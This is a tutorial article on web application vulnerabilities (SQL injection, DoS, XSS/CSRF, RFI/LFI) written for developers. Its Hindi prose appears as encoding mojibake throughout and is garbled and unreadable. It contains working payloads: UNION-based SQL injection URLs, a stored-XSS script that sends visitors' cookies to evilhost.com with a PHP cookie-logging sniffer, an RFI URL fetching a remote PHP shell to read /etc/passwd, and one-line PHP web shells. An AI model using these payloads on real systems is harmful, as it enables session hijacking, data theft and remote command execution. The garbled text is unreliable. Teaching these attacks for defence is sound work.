рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдкрд░, рд╕рд╛рде рд╣реА рд╕рд╛рде рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреА рд╕рдмрд╕реЗ рдЖрдо рддреНрд░реБрдЯрд┐рдпрд╛рдВ



рдпрд╣ рдЖрд▓реЗрдЦ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдкрд░ рд▓реЗрдЦреЛрдВ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреА рдирд┐рд░рдВрддрд░рддрд╛ рд╣реИ (рдФрд░ рди рдХреЗрд╡рд▓)ред

рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, рдореИрдВрдиреЗ "рд╕рдлреЗрдж рдмреЙрдХреНрд╕" рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪрд╛ рдерд╛, рд▓реЗрдХрд┐рди рдореИрдВрдиреЗ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рдХрд┐ рдореБрдЭреЗ рдЗрд╕ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рд▓рдХреНрд╖реНрдп рджрд░реНрд╢рдХреЛрдВ (рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╡реЗрдм рдбреЗрд╡рд▓рдкрд░реНрд╕) рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рдЕрдВрддрд░рд╛рд▓ рдХреЛ рднрд░рдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реИред

рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдмрд╣реБрдд рд╕реЗ рдФрд░ рд╣рд░ рдХреЛрдИ рдЬрд╛рдирддрд╛ рд╣реИ рдХрд┐ рдореИрдВ рд▓реЗрдЦ рдореЗрдВ рдХреНрдпрд╛ рд▓рд┐рдЦ тАЛтАЛрд░рд╣рд╛ рд╣реВрдВ, рд▓реЗрдХрд┐рди рдореИрдВ рдЗрд╕реЗ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдЙрджрд╛рд╣рд░рдг рдФрд░ рдордиреЛрд░рдВрдЬрдХ рдЕрдиреБрднрд╡ рдХреЗ рд╕рд╛рде рдкрддрд▓рд╛ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реВрдВрдЧрд╛ред

рдореЗрд░реА рдпреЛрдЬрдирд╛ рд╣реИ рдХрд┐ рдпрд╣ рд▓реЗрдЦ рдПрдХ рддрд░рд╣ рд╕реЗ рдПрдХ рд╣реИред рдЗрд╕ рдЪрдХреНрд░ рдХреЗ рдмрд╛рдж рджреЛрд╣рд░рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдХреЗрд╡рд▓ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ, рдЗрд╕ рд╡рд┐рд╖рдп рдореЗрдВ рдЕрдзрд┐рдХ рдЧрд╣рдирддрд╛ рдХреЗ рд╕рд╛рдеред рдореБрдЭреЗ рдЖрд╢рд╛ рд╣реИ рдХрд┐ рдореЗрд░реЗ рдкрд╛рд╕ рдЗрд╕рдХреЗ рд▓рд┐рдП рдФрд░ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ, рдХрд┐ рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд▓рд┐рдЦрдирд╛ рд╕рдордЭ рдореЗрдВ рдЖрддрд╛ рд╣реИред

рд╣рдореЗрд╢рд╛ рдХреА рддрд░рд╣ - рдкреНрд░рд╛рдкреНрдд рд╕рднреА рдЬреНрдЮрд╛рди рдХреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рдХреЗрд╡рд▓ рдкрд╛рдардХ рдкрд░ рд╣реИ :)


рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди (рд╕реБрд░рдХреНрд╖рд╛ рдХреА рджреГрд╖реНрдЯрд┐ рд╕реЗ) рд╡рд┐рдХрд╕рд┐рдд рдХрд░рддреЗ рд╕рдордп рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдЧрд▓рддрд┐рдпрд╛рдБ, рд╕рд╛рде рд╣реА рд╕рд╛рде "рд▓реЛрдХрдкреНрд░рд┐рдп" рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рджреЛрд╣рди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд╢реИрдХреНрд╖рд┐рдХ рдХрд╛рд░реНрдпрдХреНрд░рдоред



рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, SQL рдЗрдВрдЬреЗрдХреНрд╢рди, XSS / CSRF, RFI / LFI рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдереЛрдбрд╝рд╛

рдПрд╕рдХреНрдпреВрдПрд▓ рдЪреЛрдЯ - рдПрд╕рдХреНрдпреВрдПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди, рдЕрдирдзрд┐рдХреГрдд рдкреНрд░рд╢реНрдиреЛрдВ рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди
XSS / CSRF - рдкреЗрдЬ рдореЗрдВ рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ JS рдХреЛрдб / рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдореНрдмреЗрдб рдХрд░реЗрдВред XSS - рдХреНрд░реЙрд╕ рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ (рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдирд╛рдо "X" рдореЗрдВ рдкрд╣рд▓рд╛ рдЕрдХреНрд╖рд░ рд╣реИ, рддрд╛рдХрд┐ CSS (рд╢реИрд▓рд┐рдпреЛрдВ) рдХреЗ рд╕рд╛рде рдХреЛрдИ рднреНрд░рдо рди рд╣реЛред CSRF - рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдордирдорд╛рдирд╛ рдХрд╛рд░реНрдп рдХрд░рдирд╛ред
RFI / LFI - рджреВрд░рд╕реНрде / рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢рдиред рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдкреНрд░рдпреЛрдЬрдиреЛрдВ рдХреЗ рд▓рд┐рдП рд░рд┐рдореЛрдЯ ("рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ") / рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛
DoS - рд╕реЗрд╡рд╛ рд╕реЗ рдЗрдирдХрд╛рд░ред "рд╕реНрдорд╛рд░реНрдЯ" рд╕рдВрд╕рд╛рдзрди рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ (рдбреАрдбреАрдУрдПрд╕ рдХреЗ рд╡рд┐рдкрд░реАрдд)ред рдпрд╣ рд╣рдорд▓рд╛ рддрдм рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм "рд▓рдВрдмреЗ" рдЕрдиреБрд░реЛрдзреЛрдВ рдпрд╛ рд▓рдВрдмреА рдЕрд╡рдзрд┐ рдХреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИред

рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рд╣реИрдХ рдХреИрд╕реЗ рдХрд░реЗрдВ;]

рдПрд╕рдХреНрдпреВрдПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди

рдмрд╣реБрдд рд╕рд╛рд░реЗ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдиреЗ рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реБрдирд╛ рд╣реИ, рдЙрдиреНрд╣реЗрдВ рдкрддрд╛ рд╣реИ рдХрд┐ рдЕрдиреБрд░реЛрдз рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдкрд░реЗрдЦрд╛ рдХреЗ рд▓рд┐рдП рдХрд╛рд░реНрдпреЛрдВ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдирдХреЗ рдврд╛рдВрдЪреЗ рдореЗрдВ рддреИрдпрд╛рд░ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдпрд╣ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдЕрдЪреНрдЫрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреБрдЫ рд▓реЛрдЧреЛрдВ рдХреЛ рдЙрдирдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрддрд╛ рд╣реИ рдФрд░ рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ рдХреИрд╕реЗ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдПред рдЕрдм рд╣рдо рдЖрдВрд╢рд┐рдХ рд░реВрдк рд╕реЗ рдЗрд╕ рдЪреВрдХ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рд╣реИред
рд╡рд┐рдЪрд╛рд░ рд╕рд░рд▓ рд╣реИред рдЖрдкрдХреЗ рдЕрдиреБрд░реЛрдз рдХреЗ рдмрдЬрд╛рдп, рдПрдХ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрд╛ рдХрд▓реНрдкрдирд╛ рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдмрджрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11
(рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ)
рддрд╛рд░реНрдХрд┐рдХ рд░реВрдк рд╕реЗ, -1 рд░рд┐рдХреЙрд░реНрдб рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рддрд╛рд▓рд┐рдХрд╛ рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рд╕реНрддрдВрдн рдХреЗ рд▓рд┐рдП, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдорд╛рди 1..11 рд╣реЛрдВрдЧреЗ рдФрд░ рд╣рдореЗрдВ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдорд╛рди рдорд┐рд▓реЗрдВрдЧреЗ (рд╕рдВрдШ рдореЗрдВ рд▓реМрдЯрд╛рдП рдЧрдП рдорд╛рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдкрд╣рд▓реЗ рдкреНрд░рд╢реНрди рдореЗрдВ рд╕реНрддрдВрднреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЗ рдЕрдиреБрд░реВрдк рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП)ред рд╡рд░реНрддрдорд╛рди рдХрдиреЗрдХреНрд╢рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдПрдХ рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВ рд╣реЛрдЧреА, рдкреГрд╖реНрда рдкрд░ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд╡рд╛рд▓реА рд╕рдВрдЦреНрдпрд╛рдУрдВ рдХреЗ рдмрдЬрд╛рдп, рд╣рдо рдЕрдкрдиреЗ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рд░реНрд╡рд░ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ GET рдЕрдиреБрд░реЛрдз рдореЗрдВ рд╕реНрдерд╛рдирд╛рдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВред
MySQL (рдФрд░ рдПрдХ рдХреЗ рд░реВрдк рдореЗрдВ "рдорд╛рдВрд╕рдкреЗрд╢реА" рдирд╣реАрдВ) рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,version (), 3,4,5,6, рдбреЗрдЯрд╛рдмреЗрд╕ (), 8,9,10, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ ()
(рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ)

рдФрд░ рд╣рдореЗрдВ рдЙрдореНрдореАрдж рдереАред
рдПрдХ рдмрд╛рд░ рдкреЙрдЬрд┐рдЯрд┐рд╡ рдЯреЗрдХреНрдиреЙрд▓реЙрдЬреА рдореЗрдВ рдореИрдВ рдкреАрдбреАрдПрдл рдлрд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдореЗрдВ SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХреА рдПрдХ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рдкреГрд╖реНрда рдкрд░ рдЖрдпрд╛ рдерд╛, рдпрд╣рд╛рдБ рдпрд╣ рдПрдХ рддрд╕реНрд╡реАрд░ рдХреЗ рд░реВрдк рдореЗрдВ рд╣реИред

DoS ред рдЖрдЗрдП рдПрдХ рдЙрджрд╛рд╣рд░рдг рджреЗрдЦреЗрдВ рдЬрд╣рд╛рдВ рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рдЗрдирдкреБрдЯ рдкреИрд░рд╛рдореАрдЯрд░ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЬрд╣рд╛рдВ DoS рд╣рдорд▓рд╛ рд▓рд╛рдЧреВ рд╣реИ

<?php $limit = (int)$_GET['limit']; $rows = mysql_query("select * from table limit 0,".$limit); ?> 

рдпрд╣ рдПрдХ рд╕реНрдкрд╖реНрдЯ рдХрд▓рд╛рдХрд╛рд░реЛрдВ рдХреЗ рд▓рд┐рдП рд▓рдЧрддрд╛ рд╣реИ, рдХреНрдпрд╛ рдкрдХрдбрд╝ рд╣реИ? рдФрд░ рдЕрдЧрд░ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЗрд╕ рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ 100 рд╣рдЬрд╛рд░ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рд╣реИрдВ:]? рд╣рдо script.php рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ? рд╕реАрдорд╛ = _large_number_ рдФрд░ рд╕рдВрд╕рд╛рдзрди рдХреЗ DoS рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред рдЕрдХреНрд╕рд░ рдЙрди рд▓рд┐рдкрд┐рдпреЛрдВ рдореЗрдВ рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╕реАрдорд┐рдд рд╣реЛрддреА рд╣реИ (рдЖрдорддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ 5.25,50,100 рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рджреА рдЬрд╛рддреА рд╣реИрдВ)ред рдХрд┐рд╕реА рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдЗрд╕ рдореВрд▓реНрдп рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдРрд╕реА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╕рдордп рдХреЗрд╕ / рд╕реНрд╡рд┐рдЪ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдмреЗрд╣рддрд░ рд╣реЛрддрд╛ рд╣реИред

рдореИрдВ file_priv рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛, рдЬреЛ SQL рдХреНрд╡реЗрд░реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╕рд╛рдзрди рдкрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХрд░реЗрдЧрд╛ред
рд▓реЗрдХрд┐рди рдлрд┐рд░ рднреА, рдкрд╣рд▓реА рдЬрдЧрд╣ рдореЗрдВ, sql рдЗрдВрдЬреЗрдХреНрд╢рди рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рдкреНрд░рд╢реНрдиреЛрдВ рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдХрд░ рд░рд╣реЗ рд╣реИрдВ (рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░реЗрдВ, рдмрджрд▓реЗрдВ, рдЕрдкрдбреЗрдЯ, рдбреНрд░реЙрдк рдХрд░реЗрдВ ...)

XSS / CSRF

HTML рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛ рдЖрдорддреМрд░ рдкрд░ 2 рдкреНрд░рдХрд╛рд░реЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рд╕рдХреНрд░рд┐рдп - html / js рдХреЛрдб рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╣рд░ рдмрд╛рд░ рдЗрд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдордВрдЪ рдкрд░ рдПрдХ рдкреЛрд╕реНрдЯ, рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдбреЗрдЯрд╛, рдЖрджрд┐)
рдирд┐рд╖реНрдХреНрд░рд┐рдп - HTML / js рдХреЛрдб рдХреЛ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдкрд░ рд╕реАрдзреЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдЙрджрд╛рд╣рд░рдг рдПрдХ рд╕рдВрд╕рд╛рдзрди рдкрд░ рдЦреЛрдЬ рдкреНрд░рдкрддреНрд░ рд╣реИ, рдЬрдм рдЗрд╕реЗ html рдХреЛрдб рдХреЗ рд╕рд╛рде рднрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЗрд╕реЗ рдЦреЛрдЬ рдкрд░рд┐рдгрд╛рдореЛрдВ рдореЗрдВ рдПрдореНрдмреЗрдб рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
рдЗрд╕ рддрд░рд╣ рдХреЗ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛ рдХрдо рди рд╕рдордЭреЗрдВред рд╡реЗ рдЖрдо рддреМрд░ рдкрд░ рдЕрд▓рд░реНрдЯ () рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВ, рдпрд╣ рд╕рд┐рд░реНрдл рд╢реБрд░реБрдЖрдд рд╣реИред
рдпрджрд┐, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, html рдХрд┐рд╕реА рдкреЛрд╕реНрдЯ рдХреЛ рд▓рд┐рдЦрддреЗ рд╕рдордп рдлрд╝рд┐рд▓реНрдЯрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣рд╛рдВ "рдЕрдкрд╣рд░рдг" рдХреБрдХреАрдЬрд╝ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ (рдореИрдВ рдЬрд╛рдирдмреВрдЭрдХрд░ "рдЕрдирд╛рдбрд╝реА" рдбрд┐рдЬрд╛рдЗрди рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджреЗрддрд╛ рд╣реВрдВ, рдпрд╣ рдЫрд┐рдкрд╛рдиреЗ рдХреА xss рдХреА рдкреЗрдЪреАрджрдЧрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдХрд╣рд╛рдиреА рдирд╣реАрдВ рд╣реИ)ред рдлреЙрд░реНрдо рдХрд╛ рд╕рдВрджреЗрд╢ рдкреЛрд╕реНрдЯ рдХрд░реЗрдВ:

 <script> var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">'; document.write(url); </script> 


рдЪреВрдБрдХрд┐ рд╣рдорд╛рд░рд╛ рдорддрд▓рдм рд╕рдХреНрд░рд┐рдп XSS рдерд╛, рдЕрдм, рдкреЛрд╕реНрдЯ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдФрд░ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдпрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ) рдиреЗ рд╣рдорд╛рд░рд╛ рд╕рдВрджреЗрд╢ рдЦреЛрд▓рд╛ рд╣реИ, рддреЛ рд╣рдорд╛рд░рд╛ рд╕реНрдирд┐рдлрд░ рдЕрдкрдиреЗ рдХреБрдХреАрдЬрд╝ рдХреЛ рдмрдЪрд╛рдПрдЧрд╛:] sniffer.php рдореЗрдВ рд╕рдорд╛рди рд╕рд╛рдордЧреНрд░реА рд╣реИ:
 <?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("sniff.txt", "a"); fwrite($file, $text); fclose($file); } ?> 

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рдХрд╛ рдорд╛рдорд▓рд╛ рд╣реИред
рдпрд╣рд╛рдВ CSRF рдПрдХ рдРрд╕рд╛ рд╣рдорд▓рд╛ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдХреБрдЫ рдХрд╛рд░реНрдп рдХрд░реЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП - рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЬреЛрдбрд╝реЗрдВ, рдзрди рдХреЛ рдХрд╣реАрдВ рдФрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВ, рдЖрджрд┐ред рдЗрд╕рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рддрддреНрд╡реЛрдВ рдХреЗ рдмреАрдЪ рд╕реНрд╡рд┐рдЪ рдХрд░рдиреЗ рдФрд░ рдХреНрд░рд┐рдпрд╛рдПрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреГрд╖реНрда рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдЬрд╛рдирдирд╛ рд╣реЛрдЧрд╛ред CSRF рд╡рд╛рдпрд░рд╕ рдмрд╣реБрдд рдЖрдо рд╣реИрдВред
рдЖрдк рдпрд╣рд╛рдВ рдЕрднреНрдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ
рд▓реЗрдХрд┐рди рдпрд╣ рд╡рд╣рд╛рдБ рд╕рдорд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ :) рдПрдХ XSS рд╣рдорд▓реЗ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗрдиреЗ рдХрд╛ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рддрд░реАрдХрд╛ рд╣реИред Base64 рд╣реИ, рдФрд░ utf7 рдХреЗ рд╕рд╛рде рдПрдХ рдЪрд┐рдк рд╣реИ, рдФрд░ рдЫрд╡рд┐рдпреЛрдВ / рдлреНрд▓реИрд╢ рдлрд╛рдЗрд▓реЛрдВ рдореЗрдВ XSS рд╣реИред рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рдмрд╣реБрдд рд╕рд╛рд░реЗ рд▓реЗрдЦ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╡рд┐рдЪрд╛рд░ рдПрдХ рд╣реИ - рдкреГрд╖реНрда рдореЗрдВ рдХреЛрдб рдХрд╛ рдкрд░рд┐рдЪрдпред

RFI / LFI

рдЗрддрдирд╛ рдЖрдо рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдПрдХ рдЬрдЧрд╣ рд╣реИред рдЙрджрд╛рд╣рд░рдг рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХреЛрдб:
 <?php $module = $_GET['module']; include($module); ?> 
рдлрд╝рд╛рдЗрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рдЙрджрд╛рд╣рд░рдгред рдХреИрд╕реЗ рдХрд░реЗрдВ рдЖрд╡реЗрджрди?
  http://server.com/somescript.php?module=http://evilhost.com/phpshell.txt&c=cat+/etc/passwd 

рдЬрд╣рд╛рдБ phpshell.txt рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдорд╛рди рд╕рд╛рдордЧреНрд░реА рд╣реЛрдЧреА

 <?php echo @`$_GET[c]` ?> 

рдпрд╛ рдРрд╕рд╛ рдХреБрдЫ

 <?=@`$c`?> 
(Raz0r, 2008 рддрдХ)

рджреВрд╕рд░реЗ рд╡рд┐рдХрд▓реНрдк рдореЗрдВ, рд╢рд╛рдорд┐рд▓ рд╢реЙрд░реНрдЯ_рдУрдкрди_рдЯреИрдЧ рдФрд░ рд░рдЬрд┐рд╕реНрдЯрд░_рдЧреНрд▓реЛрдмрд▓реНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ
рдФрд░ рд╣рдо рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рд╕рд░реНрд╡рд░ рдкрд░ рдЖрджреЗрд╢реЛрдВ рдХрд╛ рдордирдорд╛рдирд╛ рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред
